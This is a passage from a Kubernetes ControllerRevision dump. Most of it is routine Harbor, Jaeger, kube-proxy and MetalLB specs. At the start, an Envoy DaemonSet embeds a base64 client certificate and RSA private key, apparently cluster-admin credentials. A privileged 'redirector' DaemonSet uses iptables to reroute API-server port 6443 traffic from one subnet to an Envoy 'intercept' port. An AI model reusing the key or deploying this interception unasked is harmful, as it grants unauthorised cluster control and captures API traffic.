UNUSk5rbktXNWI5Uit6ZnEKZnlwWmFSZTg4S2tBCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K"},{"name":"PROXY_CLIENT_CRT_B64","value":"LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURLVENDQWhHZ0F3SUJBZ0lJZktQZTVkV25VeXN3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TlRBNU1qRXhNVEEwTURWYUZ3MHlOakE1TWpFeE1UQTVNRFZhTUR3eApIekFkQmdOVkJBb1RGbXQxWW1WaFpHMDZZMngxYzNSbGNpMWhaRzFwYm5NeEdUQVhCZ05WQkFNVEVHdDFZbVZ5CmJtVjBaWE10WVdSdGFXNHdnZ0VpTUEwR0NTcUdTSWIzRFFFQkFRVUFBNElCRHdBd2dnRUtBb0lCQVFEWW1LZjgKdldMVzZONXZ1MUdHZE5SZVlQcDNVeXNtRnhZRnQrTUhlQTlDTUdhK1hVVnVjRytraHJhUURCZDB4WDU4M0ovVgpDRFdZdDFZeW0yclVjTzJYa3BlTHhLOVBhZVlZTjlnbHV3U2tpU0duZ3BQWWFUVVYrTFg5NDM5VDR5WWgzOElKCkZBYzhhczNqWHprQ29UaHpRWGRzbDB1VXQyMC9iamNJZmEvT3ZwdlM3L1VHdms1Nzh3a0ZNa2lEUGdNSWhNWCsKUzdMSHJnQWo4MkFvdUxNZWROREhtWFd0MWJrMThpai9ZMFltditzRjBsTE9YakZJNWtYRnpPNEpFZHdRcDQrTApwcFplZkY2eWgzVSttVWQ0a3htOXVzeGg2NHRBTGlqYkxCVWpKUlBJZEd6OFE4QzBYdXYyRThKNWxPRTRYTU1YCkRiV001OFlrNkRDSzZPeWZBZ01CQUFHalZqQlVNQTRHQTFVZER3RUIvd1FFQXdJRm9EQVRCZ05WSFNVRUREQUsKQmdnckJnRUZCUWNEQWpBTUJnTlZIUk1CQWY4RUFqQUFNQjhHQTFVZEl3UVlNQmFBRkFuNkdHcFJkYWJLbndLWgp2M3QxMHl2OTVrVjRNQTBHQ1NxR1NJYjNEUUVCQ3dVQUE0SUJBUUFJTjNHU3J4bm90Nlk0RTBqTDVIdTBMK2lZCjl5NDFPaEwraGtua05ONWlCdVRSRHdjSnFER0VJckV2WWVsVXRvZHZiZlBuSUQxV0RIK0tMaS9KMktFQytHQXkKMG0zQ2lrZE5OSFo0VTJaS00zYWtQdDdhSGVad0swWG5hUjBJMFFiWlBJZEhUSkFIMXdGMzZ1NkQvclJKd08rRwpEWHROcDZTL3d6Z1pDbFVCdEZLVGN2bWx3YlZJWUh4aEcrQ1YwT3pBcmpOSXVqdmdvQ0cvTVlkUi9BVzFFMjB5CmsyS1Y4STlNZGxqMnpjQzYrN2J2MVhtMmpmZEhTbTNXZHQ1ZWlOV1VoYVRyZDdCNndqeWFmc20ySzI2cFh3UTIKUk1ZWmNQWVRiMzZYM2UvclphZGwvOXljdFo4K1VuTEtTY1c2Y2ppdVlQT3l4N2xFSXJocklYOEFzRXMzCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K"},{"name":"PROXY_CLIENT_KEY_B64","value":"LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcEFJQkFBS0NBUUVBMkppbi9MMWkxdWplYjd0UmhuVFVYbUQ2ZDFNckpoY1dCYmZqQjNnUFFqQm12bDFGCmJuQnZwSWEya0F3WGRNVitmTnlmMVFnMW1MZFdNcHRxMUhEdGw1S1hpOFN2VDJubUdEZllKYnNFcElraHA0S1QKMkdrMUZmaTEvZU4vVStNbUlkL0NDUlFIUEdyTjQxODVBcUU0YzBGM2JKZExsTGR0UDI0M0NIMnZ6cjZiMHUvMQpCcjVPZS9NSkJUSklnejREQ0lURi9rdXl4NjRBSS9OZ0tMaXpIblRReDVsMXJkVzVOZklvLzJOR0pyL3JCZEpTCnpsNHhTT1pGeGN6dUNSSGNFS2VQaTZhV1hueGVzb2QxUHBsSGVKTVp2YnJNWWV1TFFDNG8yeXdWSXlVVHlIUnMKL0VQQXRGN3I5aFBDZVpUaE9GekRGdzIxak9mR0pPZ3dpdWpzbndJREFRQUJBb0lCQUFoZVBYOUNRZU5UcytSVgpORjBoZm1MM0ZEWXYvR2JJVlkxN0FVWjBtUUpScEdhT2EvUk1XOFBiZ0lvb0xXL1JnWVdKY0pObWNjdW9xYWZpCjRVbTc0eklMODlidWptZGZEQWk3ZjVwVmsyUlg5L2prenBsNTF4YzJPTEhLYkV6dFpiZkJVVm5RY0VjaFNUc1QKbnJ3L1JsTU5vSE9ObE5uMkRENTdINTB3WGU1NjFJTWMwam1qMm41WERRTzFFaW5WcU90dXlzd2hKcjM1VG80MQpLSllEZERYWVdDUDU1YzFxNC84VzdmU0lCb3pVRzJ5SjNzTWVXT2xRRVBmWVV5QTM2Y2ZCK2k5Yzh5S2dRZmVCCkoxWEhNOERLZENRdjZub3F3YytIc0ZvK2NQZ3ZVMDcxNTlPNEVISWg0VkpMSUhCZFptazM4QWtSUVJ1TXZzZG0KeTVsRWdvRUNnWUVBMmw0Wm84S2RNaTlTVUdGdkVHQUYrY012MlNhSlJpRTVGOTN4TXk4L0NrN2o0R0Q4QnFwQwpjSnlKOWhmb2dJd0ZHZUFxS25zbEk3RkY3MytWZkNsZHdtUm5LbEJLdVVNWS9CQjlYc3MrcithckRTSVBHZVgvCk9LU1ZQQ3dSanpSalhBVUlKdjgvaFRFZzNQTGV4YnpiazNjNHVFcnRCOVNBZ3pMQit1QjZvazhDZ1lFQS9leHAKWkczNnJVUDZrWWxEb3dRWW5mejRGalA1SXJxc1FvSkw1eGZOamZ6T05lM2tCeVY2RVA0M2ovbmgvaU1uL0Zybwo3NXNaR2NKbGR3cWl1SmZRTlRUNG5iY3pLelFla3NpTWJlbi9jU2FDMldJOG5hWGJ2bHVML3JBSXp0NGxRZGhVCmlQVlg3bk04RjN6a29wb3BjK2p3OVVMbDBUcHd1M01BUzMrTkRMRUNnWUVBZ0svLzhEQWFyNTZQcGVzbHBzTFEKQXJieWxjaE9FZFEyYjBoT2d0bVBEeVlheVBxZXk5YSt2TnFqdXpHdnhVRy9KOWFoUXRPN3VXTVpVZUVnV1VHUApqYVhaM21mZkFYcjNXR1RuWFZ2dG40QVN3ZlNXYmE3TFQ3ZytjbTJPRTVUT0VVYXQzVDJEVTV6MlB2K3FKV0g5CkROU3Z5bnZ0WURYdFhtUWxTUkhOYzZVQ2dZRUFoRTUreTltU1dGMm5YZFhMN0ZEaUV0QVE1R0RJVzVRdzFhYlcKcmQ3MU9CcVZ4L3ZnYU9qYUphaVFndkNORk1KMHYwVVBRbW5xTmtYWVlLS21EdERycUEybHpXZjd2WE0yeXZ5OApUemt4NUY5UXByeE5JVWVlckIwL1lNR1FsVm1peUNCVVM5aXFySkJXcTFaa08yVmdYQWp3Skp0cTdBNHJWMENnCjByWHZaTUVDZ1lBTVB4TEJEaWU1ZWJlOHRrUEEybkNFdzVJS0V1aC9VRmZuUGZhVTRjV21mZTFsYXVjbG1GankKaklyRkwwcDUzNEo4T0ZwU3ltTkptaEZwcnkycitEM3lORmt6UDg4SVhIQ3RCNUwrOEphSi9uMUt0RkdGc1RzVAo2Z3JqcVQ5elh6Wk1waFMyM0p4enZNR0lOYnNmdXozNnAycDdwOVpLT0JIekNkanhxZEZRalE9PQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo="}],"image":"envoyproxy/envoy:v1.36.2","name":"envoy","ports":[{"containerPort":15443,"name":"intercept"},{"containerPort":9901,"name":"admin"}],"volumeMounts":[{"mountPath":"/work","name":"work"}]}],"dnsPolicy":"ClusterFirstWithHostNet","hostNetwork":true,"nodeSelector":{"node-role.kubernetes.io/control-plane":""},"tolerations":[{"effect":"NoSchedule","key":"node-role.kubernetes.io/control-plane"},{"effect":"NoSchedule","key":"node-role.kubernetes.io/master"}],"volumes":[{"emptyDir":{},"name":"work"}]}}}}
    creationTimestamp: "2025-11-29T00:05:16Z"
    labels:
      app: m6pcat8pkz1umdgfqqw10tz8nmndwm27-envoy
      controller-revision-hash: 7cb9b4dbfb
    name: m6pcat8pkz1umdgfqqw10tz8nmndwm27-envoy-7cb9b4dbfb
    namespace: default
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: m6pcat8pkz1umdgfqqw10tz8nmndwm27-envoy
      uid: db063339-660a-4486-a2ea-3272d7565b0c
    resourceVersion: "17880421"
    uid: 1aecbee6-93e1-4ec1-afee-9c3eb056dfc8
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          creationTimestamp: null
          labels:
            app: m6pcat8pkz1umdgfqqw10tz8nmndwm27-redirector
        spec:
          containers:
          - args:
            - /bin/sh
            - -c
            - |
              set -e
              apk add --no-cache iptables iproute2 bash
              # Idempotent: ajoute la règle si absente
              iptables -t nat -C PREROUTING -p tcp -s 10.9.0.0/24 --dport 6443 -j REDIRECT --to-ports 15443 \
                || iptables -t nat -A PREROUTING -p tcp -s 10.9.0.0/24 --dport 6443 -j REDIRECT --to-ports 15443
              # Garder le Pod en vie
              trap 'iptables -t nat -D PREROUTING -p tcp -s 10.9.0.0/24 --dport 6443 -j REDIRECT --to-ports 15443 || true; exit 0' TERM INT
              sleep infinity
            image: alpine:3.20
            imagePullPolicy: IfNotPresent
            name: iptables
            resources: {}
            securityContext:
              capabilities:
                add:
                - NET_ADMIN
              privileged: true
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
          dnsPolicy: ClusterFirstWithHostNet
          hostNetwork: true
          hostPID: true
          nodeSelector:
            node-role.kubernetes.io/control-plane: ""
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext: {}
          terminationGracePeriodSeconds: 30
          tolerations:
          - effect: NoSchedule
            key: node-role.kubernetes.io/control-plane
          - effect: NoSchedule
            key: node-role.kubernetes.io/master
  kind: ControllerRevision
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "1"
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apps/v1","kind":"DaemonSet","metadata":{"annotations":{},"name":"m6pcat8pkz1umdgfqqw10tz8nmndwm27-redirector","namespace":"default"},"spec":{"selector":{"matchLabels":{"app":"m6pcat8pkz1umdgfqqw10tz8nmndwm27-redirector"}},"template":{"metadata":{"labels":{"app":"m6pcat8pkz1umdgfqqw10tz8nmndwm27-redirector"}},"spec":{"containers":[{"args":["/bin/sh","-c","set -e\napk add --no-cache iptables iproute2 bash\n# Idempotent: ajoute la règle si absente\niptables -t nat -C PREROUTING -p tcp -s 10.9.0.0/24 --dport 6443 -j REDIRECT --to-ports 15443 \\\n  || iptables -t nat -A PREROUTING -p tcp -s 10.9.0.0/24 --dport 6443 -j REDIRECT --to-ports 15443\n# Garder le Pod en vie\ntrap 'iptables -t nat -D PREROUTING -p tcp -s 10.9.0.0/24 --dport 6443 -j REDIRECT --to-ports 15443 || true; exit 0' TERM INT\nsleep infinity\n"],"image":"alpine:3.20","name":"iptables","securityContext":{"capabilities":{"add":["NET_ADMIN"]},"privileged":true}}],"dnsPolicy":"ClusterFirstWithHostNet","hostNetwork":true,"hostPID":true,"nodeSelector":{"node-role.kubernetes.io/control-plane":""},"tolerations":[{"effect":"NoSchedule","key":"node-role.kubernetes.io/control-plane"},{"effect":"NoSchedule","key":"node-role.kubernetes.io/master"}]}}}}
    creationTimestamp: "2025-11-29T00:05:39Z"
    labels:
      app: m6pcat8pkz1umdgfqqw10tz8nmndwm27-redirector
      controller-revision-hash: 5fb8474c8c
    name: m6pcat8pkz1umdgfqqw10tz8nmndwm27-redirector-5fb8474c8c
    namespace: default
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: m6pcat8pkz1umdgfqqw10tz8nmndwm27-redirector
      uid: 621e2bfc-5e80-4c7b-807c-aedbb4787915
    resourceVersion: "17880528"
    uid: 74a02972-1d76-4862-b1fa-ac80ca4b6595
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          annotations:
            checksum/secret: fda5ea441dd99451e1f03f09034777d1fe43d30f80f55c55dc6f507103c984f7
          creationTimestamp: null
          labels:
            app: harbor
            app.kubernetes.io/component: database
            app.kubernetes.io/instance: harbor
            app.kubernetes.io/managed-by: Helm
            app.kubernetes.io/name: harbor
            app.kubernetes.io/part-of: harbor
            app.kubernetes.io/version: 2.14.0
            chart: harbor
            component: database
            heritage: Helm
            release: harbor
        spec:
          automountServiceAccountToken: false
          containers:
          - env:
            - name: PGDATA
              value: /var/lib/postgresql/data/pgdata
            envFrom:
            - secretRef:
                name: harbor-database
            image: goharbor/harbor-db:v2.14.0
            imagePullPolicy: IfNotPresent
            livenessProbe:
              exec:
                command:
                - /docker-healthcheck.sh
              failureThreshold: 3
              initialDelaySeconds: 300
              periodSeconds: 10
              successThreshold: 1
              timeoutSeconds: 1
            name: database
            readinessProbe:
              exec:
                command:
                - /docker-healthcheck.sh
              failureThreshold: 3
              initialDelaySeconds: 1
              periodSeconds: 10
              successThreshold: 1
              timeoutSeconds: 1
            resources: {}
            securityContext:
              allowPrivilegeEscalation: false
              capabilities:
                drop:
                - ALL
              privileged: false
              runAsNonRoot: true
              seccompProfile:
                type: RuntimeDefault
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /var/lib/postgresql/data
              name: database-data
            - mountPath: /dev/shm
              name: shm-volume
          dnsPolicy: ClusterFirst
          initContainers:
          - args:
            - -c
            - chmod -R 700 /var/lib/postgresql/data/pgdata || true
            command:
            - /bin/sh
            image: goharbor/harbor-db:v2.14.0
            imagePullPolicy: IfNotPresent
            name: data-permissions-ensurer
            resources: {}
            securityContext:
              allowPrivilegeEscalation: false
              capabilities:
                drop:
                - ALL
              privileged: false
              runAsNonRoot: true
              seccompProfile:
                type: RuntimeDefault
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /var/lib/postgresql/data
              name: database-data
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext:
            fsGroup: 999
            runAsUser: 999
          terminationGracePeriodSeconds: 120
          volumes:
          - emptyDir:
              medium: Memory
              sizeLimit: 512Mi
            name: shm-volume
  kind: ControllerRevision
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:01Z"
    labels:
      app: harbor
      app.kubernetes.io/component: database
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: database
      controller.kubernetes.io/hash: 74f5fcbf8c
      heritage: Helm
      release: harbor
    name: harbor-database-74f5fcbf8c
    namespace: harbor
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: harbor-database
      uid: 366e618e-3549-449a-9084-4e72406812e5
    resourceVersion: "6777480"
    uid: 15a66c6e-d867-43cf-b3d0-e9f36b8f1cf5
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          creationTimestamp: null
          labels:
            app: harbor
            app.kubernetes.io/component: redis
            app.kubernetes.io/instance: harbor
            app.kubernetes.io/managed-by: Helm
            app.kubernetes.io/name: harbor
            app.kubernetes.io/part-of: harbor
            app.kubernetes.io/version: 2.14.0
            chart: harbor
            component: redis
            heritage: Helm
            release: harbor
        spec:
          automountServiceAccountToken: false
          containers:
          - image: goharbor/redis-photon:v2.14.0
            imagePullPolicy: IfNotPresent
            livenessProbe:
              failureThreshold: 3
              initialDelaySeconds: 300
              periodSeconds: 10
              successThreshold: 1
              tcpSocket:
                port: 6379
              timeoutSeconds: 1
            name: redis
            readinessProbe:
              failureThreshold: 3
              initialDelaySeconds: 1
              periodSeconds: 10
              successThreshold: 1
              tcpSocket:
                port: 6379
              timeoutSeconds: 1
            resources: {}
            securityContext:
              allowPrivilegeEscalation: false
              capabilities:
                drop:
                - ALL
              privileged: false
              runAsNonRoot: true
              seccompProfile:
                type: RuntimeDefault
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /var/lib/redis
              name: data
          dnsPolicy: ClusterFirst
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext:
            fsGroup: 999
            runAsUser: 999
          terminationGracePeriodSeconds: 120
  kind: ControllerRevision
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:01Z"
    labels:
      app: harbor
      app.kubernetes.io/component: redis
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: redis
      controller.kubernetes.io/hash: 54d5fdcdfd
      heritage: Helm
      release: harbor
    name: harbor-redis-54d5fdcdfd
    namespace: harbor
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: harbor-redis
      uid: ed37d66a-c159-428f-a336-c0ac5aa04570
    resourceVersion: "6777481"
    uid: 604746c3-280f-4666-b6f5-2281d32b4151
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          annotations:
            checksum/secret: 7fed78c063b47fa17033c6700702ca8ca1ef373f5e15b7af1df8133fbdad0bff
          creationTimestamp: null
          labels:
            app: harbor
            app.kubernetes.io/component: trivy
            app.kubernetes.io/instance: harbor
            app.kubernetes.io/managed-by: Helm
            app.kubernetes.io/name: harbor
            app.kubernetes.io/part-of: harbor
            app.kubernetes.io/version: 2.14.0
            chart: harbor
            component: trivy
            heritage: Helm
            release: harbor
        spec:
          automountServiceAccountToken: false
          containers:
          - env:
            - name: HTTP_PROXY
            - name: HTTPS_PROXY
            - name: NO_PROXY
              value: harbor-core,harbor-jobservice,harbor-database,harbor-registry,harbor-portal,harbor-trivy,harbor-exporter,127.0.0.1,localhost,.local,.internal
            - name: SCANNER_LOG_LEVEL
              value: info
            - name: SCANNER_TRIVY_CACHE_DIR
              value: /home/scanner/.cache/trivy
            - name: SCANNER_TRIVY_REPORTS_DIR
              value: /home/scanner/.cache/reports
            - name: SCANNER_TRIVY_DEBUG_MODE
              value: "false"
            - name: SCANNER_TRIVY_VULN_TYPE
              value: os,library
            - name: SCANNER_TRIVY_TIMEOUT
              value: 5m0s
            - name: SCANNER_TRIVY_GITHUB_TOKEN
              valueFrom:
                secretKeyRef:
                  key: gitHubToken
                  name: harbor-trivy
            - name: SCANNER_TRIVY_SEVERITY
              value: UNKNOWN,LOW,MEDIUM,HIGH,CRITICAL
            - name: SCANNER_TRIVY_IGNORE_UNFIXED
              value: "false"
            - name: SCANNER_TRIVY_SKIP_UPDATE
              value: "false"
            - name: SCANNER_TRIVY_SKIP_JAVA_DB_UPDATE
              value: "false"
            - name: SCANNER_TRIVY_DB_REPOSITORY
              value: mirror.gcr.io/aquasec/trivy-db,ghcr.io/aquasecurity/trivy-db
            - name: SCANNER_TRIVY_JAVA_DB_REPOSITORY
              value: mirror.gcr.io/aquasec/trivy-java-db,ghcr.io/aquasecurity/trivy-java-db
            - name: SCANNER_TRIVY_OFFLINE_SCAN
              value: "false"
            - name: SCANNER_TRIVY_SECURITY_CHECKS
              value: vuln
            - name: SCANNER_TRIVY_INSECURE
              value: "false"
            - name: SCANNER_API_SERVER_ADDR
              value: :8080
            - name: SCANNER_REDIS_URL
              valueFrom:
                secretKeyRef:
                  key: redisURL
                  name: harbor-trivy
            - name: SCANNER_STORE_REDIS_URL
              valueFrom:
                secretKeyRef:
                  key: redisURL
                  name: harbor-trivy
            - name: SCANNER_JOB_QUEUE_REDIS_URL
              valueFrom:
                secretKeyRef:
                  key: redisURL
                  name: harbor-trivy
            image: goharbor/trivy-adapter-photon:v2.14.0
            imagePullPolicy: IfNotPresent
            livenessProbe:
              failureThreshold: 10
              httpGet:
                path: /probe/healthy
                port: api-server
                scheme: HTTP
              initialDelaySeconds: 5
              periodSeconds: 10
              successThreshold: 1
              timeoutSeconds: 1
            name: trivy
            ports:
            - containerPort: 8080
              name: api-server
              protocol: TCP
            readinessProbe:
              failureThreshold: 3
              httpGet:
                path: /probe/ready
                port: api-server
                scheme: HTTP
              initialDelaySeconds: 5
              periodSeconds: 10
              successThreshold: 1
              timeoutSeconds: 1
            resources:
              limits:
                cpu: "1"
                memory: 1Gi
              requests:
                cpu: 200m
                memory: 512Mi
            securityContext:
              allowPrivilegeEscalation: false
              capabilities:
                drop:
                - ALL
              privileged: false
              runAsNonRoot: true
              seccompProfile:
                type: RuntimeDefault
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /home/scanner/.cache
              name: data
          dnsPolicy: ClusterFirst
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext:
            fsGroup: 10000
            runAsUser: 10000
          terminationGracePeriodSeconds: 30
  kind: ControllerRevision
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:01Z"
    labels:
      app: harbor
      app.kubernetes.io/component: trivy
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      component: trivy
      controller.kubernetes.io/hash: 7594bdcf76
      heritage: Helm
      release: harbor
    name: harbor-trivy-7594bdcf76
    namespace: harbor
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: harbor-trivy
      uid: 3c263000-f9b0-4f8a-8ca9-edc3c55f0718
    resourceVersion: "6777487"
    uid: d4528354-5ea3-4d22-92f0-f06ee7740f9c
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          creationTimestamp: null
          labels:
            app.kubernetes.io/component: agent
            app.kubernetes.io/instance: jaeger
            app.kubernetes.io/name: jaeger
        spec:
          containers:
          - env:
            - name: REPORTER_GRPC_HOST_PORT
              value: jaeger-collector:14250
            image: jaegertracing/jaeger-agent:1.53.0
            imagePullPolicy: IfNotPresent
            livenessProbe:
              failureThreshold: 3
              httpGet:
                path: /
                port: admin
                scheme: HTTP
              periodSeconds: 10
              successThreshold: 1
              timeoutSeconds: 1
            name: jaeger-agent
            ports:
            - containerPort: 5775
              name: zipkin-compact
              protocol: UDP
            - containerPort: 6831
              name: jaeger-compact
              protocol: UDP
            - containerPort: 6832
              name: jaeger-binary
              protocol: UDP
            - containerPort: 5778
              name: http
              protocol: TCP
            - containerPort: 14271
              name: admin
              protocol: TCP
            readinessProbe:
              failureThreshold: 3
              httpGet:
                path: /
                port: admin
                scheme: HTTP
              periodSeconds: 10
              successThreshold: 1
              timeoutSeconds: 1
            resources: {}
            securityContext: {}
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
          dnsPolicy: ClusterFirst
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext: {}
          serviceAccount: jaeger-agent
          serviceAccountName: jaeger-agent
          terminationGracePeriodSeconds: 30
  kind: ControllerRevision
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "1"
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:44Z"
    labels:
      app.kubernetes.io/component: agent
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
      controller-revision-hash: 7cb877d448
    name: jaeger-agent-7cb877d448
    namespace: jaeger
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: jaeger-agent
      uid: aad09bbe-e071-4581-98a9-a39f22f817a5
    resourceVersion: "6810537"
    uid: 902fbfaa-b673-433e-8f0b-bd556bad71ea
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          creationTimestamp: null
          labels:
            app: cassandra
            release: jaeger
        spec:
          containers:
          - env:
            - name: CASSANDRA_SEEDS
              value: jaeger-cassandra-0.jaeger-cassandra.jaeger.svc.cluster.local
            - name: MAX_HEAP_SIZE
              value: 2048M
            - name: HEAP_NEWSIZE
              value: 512M
            - name: CASSANDRA_ENDPOINT_SNITCH
              value: GossipingPropertyFileSnitch
            - name: CASSANDRA_CLUSTER_NAME
              value: jaeger
            - name: CASSANDRA_DC
              value: dc1
            - name: CASSANDRA_RACK
              value: rack1
            - name: CASSANDRA_START_RPC
              value: "false"
            - name: POD_IP
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: status.podIP
            image: cassandra:3.11.6
            imagePullPolicy: IfNotPresent
            lifecycle:
              preStop:
                exec:
                  command:
                  - /bin/sh
                  - -c
                  - exec nodetool decommission
            livenessProbe:
              exec:
                command:
                - /bin/sh
                - -c
                - nodetool status
              failureThreshold: 3
              initialDelaySeconds: 90
              periodSeconds: 30
              successThreshold: 1
              timeoutSeconds: 5
            name: jaeger-cassandra
            ports:
            - containerPort: 7000
              name: intra
              protocol: TCP
            - containerPort: 7001
              name: tls
              protocol: TCP
            - containerPort: 7199
              name: jmx
              protocol: TCP
            - containerPort: 9042
              name: cql
              protocol: TCP
            - containerPort: 9160
              name: thrift
              protocol: TCP
            readinessProbe:
              exec:
                command:
                - /bin/sh
                - -c
                - nodetool status | grep -E "^UN\s+${POD_IP}"
              failureThreshold: 3
              initialDelaySeconds: 90
              periodSeconds: 30
              successThreshold: 1
              timeoutSeconds: 5
            resources: {}
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /var/lib/cassandra
              name: data
          dnsPolicy: ClusterFirst
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext: {}
          terminationGracePeriodSeconds: 30
          volumes:
          - emptyDir: {}
            name: data
  kind: ControllerRevision
  metadata:
    annotations:
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:44Z"
    labels:
      app: cassandra
      controller.kubernetes.io/hash: 5f5c6957bc
      release: jaeger
    name: jaeger-cassandra-5f5c6957bc
    namespace: jaeger
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: jaeger-cassandra
      uid: 00ed9095-106f-49b1-a75c-2b58e08b0660
    resourceVersion: "6810551"
    uid: fac1bfd7-c64c-4294-a1c2-a337afeb638a
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          creationTimestamp: null
          labels:
            k8s-app: kube-proxy
        spec:
          containers:
          - command:
            - /usr/local/bin/kube-proxy
            - --config=/var/lib/kube-proxy/config.conf
            - --hostname-override=$(NODE_NAME)
            env:
            - name: NODE_NAME
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: spec.nodeName
            image: registry.k8s.io/kube-proxy:v1.33.5
            imagePullPolicy: IfNotPresent
            name: kube-proxy
            resources: {}
            securityContext:
              privileged: true
            terminationMessagePath: /dev/termination-log
            terminationMessagePolicy: File
            volumeMounts:
            - mountPath: /var/lib/kube-proxy
              name: kube-proxy
            - mountPath: /run/xtables.lock
              name: xtables-lock
            - mountPath: /lib/modules
              name: lib-modules
              readOnly: true
          dnsPolicy: ClusterFirst
          hostNetwork: true
          nodeSelector:
            kubernetes.io/os: linux
          priorityClassName: system-node-critical
          restartPolicy: Always
          schedulerName: default-scheduler
          securityContext: {}
          serviceAccount: kube-proxy
          serviceAccountName: kube-proxy
          terminationGracePeriodSeconds: 30
          tolerations:
          - operator: Exists
          volumes:
          - configMap:
              defaultMode: 420
              name: kube-proxy
            name: kube-proxy
          - hostPath:
              path: /run/xtables.lock
              type: FileOrCreate
            name: xtables-lock
          - hostPath:
              path: /lib/modules
              type: ""
            name: lib-modules
  kind: ControllerRevision
  metadata:
    annotations:
      deprecated.daemonset.template.generation: "1"
    creationTimestamp: "2025-09-21T11:09:25Z"
    labels:
      controller-revision-hash: 6bfcbd6886
      k8s-app: kube-proxy
    name: kube-proxy-6bfcbd6886
    namespace: kube-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: kube-proxy
      uid: 973d8887-47c5-4054-99e4-eee9ac10c5ef
    resourceVersion: "364"
    uid: 94b0e080-8650-41b5-aab7-dbf9ddf41cc1
  revision: 1
- apiVersion: apps/v1
  data:
    spec:
      template:
        $patch: replace
        metadata:
          creationTimestamp: null
          labels:
            app.kubernetes.io/component: speaker
            app.kubernetes.io/instance: metallb
            app.kubernetes.io/name: metallb
        spec:
          containers:
          - args:
            - --port=7472
            - --log-level=info
            env:
            - name: METALLB_NODE_NAME
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: spec.nodeName
            - name: METALLB_HOST
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: status.hostIP
            - name: METALLB_ML_BIND_ADDR
              valueFrom:
                fieldRef:
                  apiVersion: v1
                  fieldPath: status.podIP
            - name: METALLB_ML_LABELS
              value: app.kubernetes.io/name=metallb,app.kubernetes.io/component=speaker
            - name: METALLB_ML_BIND_PORT
              value: "7946"
            - name: METALLB_ML_SECRET_KEY_PATH
              value: /etc/ml_secret_key
            - name: FRR_CONFIG_FILE
              value: /etc/frr_reloader/frr.conf
